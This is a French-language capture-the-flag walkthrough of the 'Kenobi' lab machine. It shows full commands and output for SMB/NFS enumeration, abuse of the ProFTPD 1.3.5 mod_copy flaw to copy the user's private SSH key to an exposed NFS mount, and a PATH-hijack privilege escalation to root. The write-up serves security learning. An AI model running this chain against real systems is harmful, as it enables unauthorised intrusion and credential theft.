KENOBI

IP MACHINE CIBLE : ;10.10.209.53

ANALYSE: **nmap -sC -O -sV -sS -v 10.10.209.53**
resultat:

```
PORT     STATE SERVICE     VERSION
21/tcp   open  ftp         ProFTPD 1.3.5
22/tcp   open  ssh         OpenSSH 7.2p2 Ubuntu 4ubuntu2.7 (Ubuntu
Linux; protocol 2.0)
| ssh-hostkey:
|   2048 b3:ad:83:41:49:e9:5d:16:8d:3b:0f:05:7b:e2:c0:ae (RSA)
|   256 f8:27:7d:64:29:97:e6:f8:65:54:65:22:f7:c8:1d:8a (ECDSA)
|_  256 5a:06:ed:eb:b6:56:7e:4c:01:dd:ea:bc:ba:fa:33:79 (ED25519)
80/tcp   open  http        Apache httpd 2.4.18 ((Ubuntu))
|_http-server-header: Apache/2.4.18 (Ubuntu)
| http-methods:
|_  Supported Methods: POST OPTIONS GET HEAD
| http-robots.txt: 1 disallowed entry
|_/admin.html
|_http-title: Site doesn't have a title (text/html).
111/tcp  open  rpcbind     2-4 (RPC #100000)
| rpcinfo:
|   program version    port/proto  service
|   100000  2,3,4       111/tcp   rpcbind
|   100000  2,3,4       111/udp   rpcbind
|   100000  3,4         111/tcp6  rpcbind
|   100000  3,4         111/udp6  rpcbind
|   100003  2,3,4      2049/tcp   nfs
|   100003  2,3,4      2049/tcp6  nfs
|   100003  2,3,4      2049/udp   nfs
|   100003  2,3,4      2049/udp6  nfs
|   100005  1,2,3     34810/udp6  mountd
|   100005  1,2,3     44981/tcp   mountd
|   100005  1,2,3     47641/udp   mountd
|   100005  1,2,3     59963/tcp6  mountd
|   100021  1,3,4     33367/tcp   nlockmgr
|   100021  1,3,4     33645/udp6  nlockmgr
|   100021  1,3,4     42861/tcp6  nlockmgr
|   100021  1,3,4     46289/udp   nlockmgr
|   100227  2,3        2049/tcp   nfs_acl
|   100227  2,3        2049/tcp6  nfs_acl
```

KENOBI

| 100227 2,3 2049/udp nfs_acl
|_ 100227 2,3 2049/udp6 nfs_acl
139/tcp open netbios-ssn Samba smbd 3.X - 4.X (workgroup: WORKGROUP)
445/tcp open netbios-ssn Samba smbd 4.3.11-Ubuntu (workgroup: WORKGROUP)
2049/tcp open nfs 2-4 (RPC #100003)

Samba est la suite standard de programmes d'interopérabilité Windows pour Linux et Unix. Il permet aux utilisateurs finaux d'accéder et d'utiliser des fichiers, des imprimantes et d'autres ressources communément partagées sur l'intranet ou Internet d'une entreprise. On l'appelle souvent système de fichiers réseau.

Samba est basé sur le protocole client/serveur commun de Server Message Block (SMB). SMB est développé uniquement pour Windows, sans Samba, les autres plateformes informatiques seraient isolées des machines Windows, même si elles faisaient partie du même réseau

En utilisant nmap, nous pouvons énumérer une machine pour les partages SMB.

Nmap a la capacité de s'exécuter pour automatiser une grande variété de tâches réseau. Il existe un script pour énumérer les partages !

nmap -p 445 --script=smb-enum-shares.nse,smb-enum-users.nse 10.10.209.53

SMB dispose de deux ports, 445 et 139.

et on a

et on a 3 partages qui sont
IPC$, anonymous et print$
Sur la plupart des distributions Linux, smbclient est déjà installé. Inspectons l'une des actions.

connectons nous

smbclient // 10.10.209.53 /anonymous

apres un ls on voit le fichier partagé : **log.txt**

KENOBI

et ensuite on le telecharge de maniere recursive biensur le terminal de ma machine et non dans la partie smb elle meme avec

smbget -r smb://10.10.209.53/anonymous/log.txt

donc voici les infos :
-sur le ssh :
Generating public/private rsa key pair.
Enter file in which to save the key (/home/kenobi/.ssh/id_rsa):
Created directory '/home/kenobi/.ssh'.
Enter passphrase (empty for no passphrase):
Enter same passphrase again:
Your identification has been saved in /home/kenobi/.ssh/id_rsa.
Your public key has been saved in /home/kenobi/.ssh/id_rsa.pub.
The key fingerprint is:
SHA256:C17GWSl/v7KlUZrOwWxSyk+F7gYhVzsbfqkCIkr2d7Q
kenobi@kenobi

-sur le serveur proFTPD

nobody" and "ftp" for normal operation and anon.

ServerName "ProFTPD Default Installation"
ServerType standalone
DefaultServer on

 # Port 21 is the standard FTP port.
Port 21

 # Don't use IPv6 support by default.
UseIPv6 off

 # Umask 022 is a good standard umask to prevent new dirs and files

KENOBI

 # from being group and world writable.
Umask 022

Notre analyse de port nmap précédente aura montré le port 111 exécutant le service rpcbind. Il s'agit simplement d'un serveur qui convertit le numéro de programme d'appel de procédure distante (RPC) en adresses universelles. Lorsqu'un service RPC est démarré, il indique à rpcbind l'adresse à laquelle il écoute et le numéro du programme RPC qu'il est prêt à servir.

Dans notre cas, le port 111 est l'accès à un système de fichiers réseau. Utilisons nmap pour énumérer cela.

nmap -p 111 --script=nfs-ls,nfs-statfs,nfs-showmount 10.10.209.53

Quelle monture peut-on voir ?

/var

KENOBI

ProFtpd est un serveur FTP gratuit et open source , compatible avec les systèmes Unix et Windows. Il était également vulnérable dans les versions précédentes du logiciel.
utlisons netcat pour nous connecter à la machine sur le port ftp

nc 10.10.209.53 21
et la version est
1.3.5
cherchons les exploits qu'on peut lancer sur le proftpd avec cette version :
searchsploit proftpd 1.3.5

et on en a 4 d'interessants:Exploit Title
| Path

ProFTPd 1.3.5 - 'mod_copy' Command Execution (Metasploit)
| linux/remote/37262.rb
ProFTPd 1.3.5 - 'mod_copy' Remote Command Execution
| linux/remote/36803.py
ProFTPd 1.3.5 - 'mod_copy' Remote Command Execution (2)
| linux/remote/49908.py
ProFTPd 1.3.5 - File Copy |
linux/remote/36742.txt

Le module mod_copy implémente les commandes **SITE CPFR(copy from)** et **SITE CPTO(copy to)** , qui peuvent être utilisées pour copier des fichiers/répertoires d'un endroit à un autre sur le serveur. Tout client non authentifié peut utiliser ces commandes pour copier des fichiers de n'importe quelle partie du système de fichiers vers une destination choisie.

Nous savons que le service FTP s'exécute en tant qu'utilisateur Kenobi (à partir du fichier sur le partage) et qu'une clé ssh est générée pour cet utilisateur.

donc sur base de cela on va copier les informations tels que la clé rsa et et autre :
nc 10.10.209.53 21

KENOBI

SITE CPFR /home/kenobi/.ssh/id_rsa
350 File or directory exists, ready for destination name
SITE CPTO /var/tmp/id_rsa
250 Copy successful

car Nous savions que le répertoire /var était un montage que nous pouvions voir (tâche 2, question 4). Nous avons donc maintenant déplacé la clé privée de Kenobi vers le répertoire /var/tmp.

Par exemple, si vous branchez une clé USB sur votre système Linux, vous pouvez la monter dans `/mnt` en utilisant une commande comme `mount /dev/sdb1 /mnt`, où `/dev/sdb1` est le chemin du périphérique de stockage et `/mnt` est le point de montage. Une fois monté, vous pouvez accéder au contenu de la clé USB en naviguant dans le répertoire `/mnt`.

Le répertoire `/mnt` est souvent utilisé pour des montages temporaires, tandis que

A retenir le repertoire /mnt est un point de montage temporaire pour monter les peripheriques de sotckages externers tels que des disques durs , des clés USB ….

Montons le répertoire /var/tmp sur notre machine:

mkdir /mnt/kenobiNFS
mount 10.10.209.53:/var /mnt/kenobiNFS
ls -la /mnt/kenobiNFS

et dès lors on copie le id_rsa dans notre repertoire actuelle

cp /mnt/kenobiNFS/tmp/id_rsa .

ainsi on peut se connecter en ssh et trouver le /home/kenobi/user.txt

mais !!!!!!!!! il ne faut pas oublier de donner les autorisations necessaires au id_rsa c'est à dire le 600 car il n'accepte que ça

chmod 600 id_rsa

ssh -i id_rsa kenobi@10.10.209.53

KENOBI

et passons à la partie que j'aime bien , l'escalade

petit tableau rappel

Autorisation	Sur les fichiers	Sur les annuaires

Bit SUID	L'utilisateur exécute le fichier avec les autorisations du propriétaire *du fichier*	-

Bit SGID	L'utilisateur exécute le fichier avec l'autorisation du propriétaire *du groupe* .	Le fichier créé dans le répertoire obtient le même propriétaire de groupe.

cherchons les fichiers qui s'execute en tant que superuser

find / -perm -u=s -type f 2>/dev/null

et on voit un qui sort du commun qui le fichier le :

/usr/bin/menu

en on l'execute puis on voit qu'il y a trois options:

1. status check

2. kernel version

3. ifconfig

KENOBI

Strings est une commande sous Linux qui recherche des chaînes lisibles par l'homme sur un binaire.

```
curl -I localhost
uname -r
ifconfig
```

Cela nous montre que le binaire s'exécute sans chemin complet (par exemple, sans utiliser /usr/bin/curl ou /usr/bin/uname).

Comme ce fichier s'exécute avec les privilèges de l'utilisateur root, nous pouvons manipuler notre chemin pour obtenir un shell root.

```
kenobi@kenobi:/tmp$ echo /bin/sh > curl
kenobi@kenobi:/tmp$ chmod 777 curl
kenobi@kenobi:/tmp$ export PATH=/tmp:$PATH
kenobi@kenobi:/tmp$ /usr/bin/menu

***************************************
1. status check
2. kernel version
3. ifconfig
** Enter your choice :1
# id
uid=0(root) gid=1000(kenobi) groups=1000(kenobi),4(adm)
```

Nous avons copié le shell /bin/sh, l'avons appelé curl, lui avons donné les autorisations correctes, puis avons placé son emplacement sur notre chemin. Cela signifiait que lorsque le binaire /usr/bin/menu était exécuté, il utilisait notre variable de chemin pour trouver le binaire "curl". Qui est en fait une version de /usr/sh, ainsi que ce fichier étant exécuté en tant que root. exécute notre shell en tant que root !

explication poussée:

Ce passage semble expliquer une technique utilisée pour obtenir un accès root sur un système Linux en exploitant la façon dont les binaires sont exécutés et le chemin d'accès de l'utilisateur. Voici une explication détaillée :

KENOBI

1. **Exécution sans chemin complet** : Lorsqu'un binaire est exécuté sans spécifier son chemin complet (par exemple, `/usr/bin/curl` ou `/usr/bin/uname`), le système recherche ce binaire dans les répertoires répertoriés dans la variable d'environnement `PATH`. Si le binaire est trouvé dans l'un de ces répertoires, il est exécuté.

2. **Exécution avec les privilèges de l'utilisateur root** : Le passage mentionne que le fichier binaire en question est exécuté avec les privilèges de l'utilisateur `root`. Cela signifie qu'il a des autorisations étendues pour effectuer des opérations système, y compris la manipulation de fichiers et de processus.

3. **Manipulation du chemin d'accès** : Pour obtenir un shell root, la technique décrite consiste à manipuler la variable d'environnement `PATH` de manière à ce que le système exécute un binaire malveillant (dans ce cas, un shell) lorsque le binaire `/usr/bin/menu` est invoqué.

4. **Copie du shell** : Dans ce cas, le shell `/bin/sh` est copié et renommé en `curl` pour tromper le système. Cela signifie que lorsqu'un utilisateur exécute la commande `curl`, elle pointe vers ce shell malveillant au lieu du véritable binaire `curl`.

5. **Changement des autorisations** : Le shell copié est ensuite donné les autorisations appropriées pour être exécuté en tant que binaire. Cela peut inclure la modification des permissions avec la commande `chmod` pour lui donner les droits d'exécution.

6. **Ajout du binaire au chemin d'accès** : Ensuite, le chemin d'accès du binaire (dans ce cas, le faux `curl`) est ajouté à la variable d'environnement `PATH`, de

sorte que lorsque `/usr/bin/menu` est exécuté, il utilise notre version manipulée de `curl`, qui est en fait un shell avec les privilèges root.

7. **Exécution du shell en tant que root** : Finalement, lors de l'exécution de `/usr/bin/menu`, qui appelle notre version de `curl` via le chemin modifié, le shell malveillant est invoqué et s'exécute avec les privilèges root, fournissant ainsi un accès root au système.

En résumé, cette technique exploite la gestion du chemin d'accès des binaires par le système pour exécuter un shell malveillant en tant qu'utilisateur root, en modifiant le chemin d'accès pour que le système utilise le binaire malveillant au lieu du véritable binaire attendu.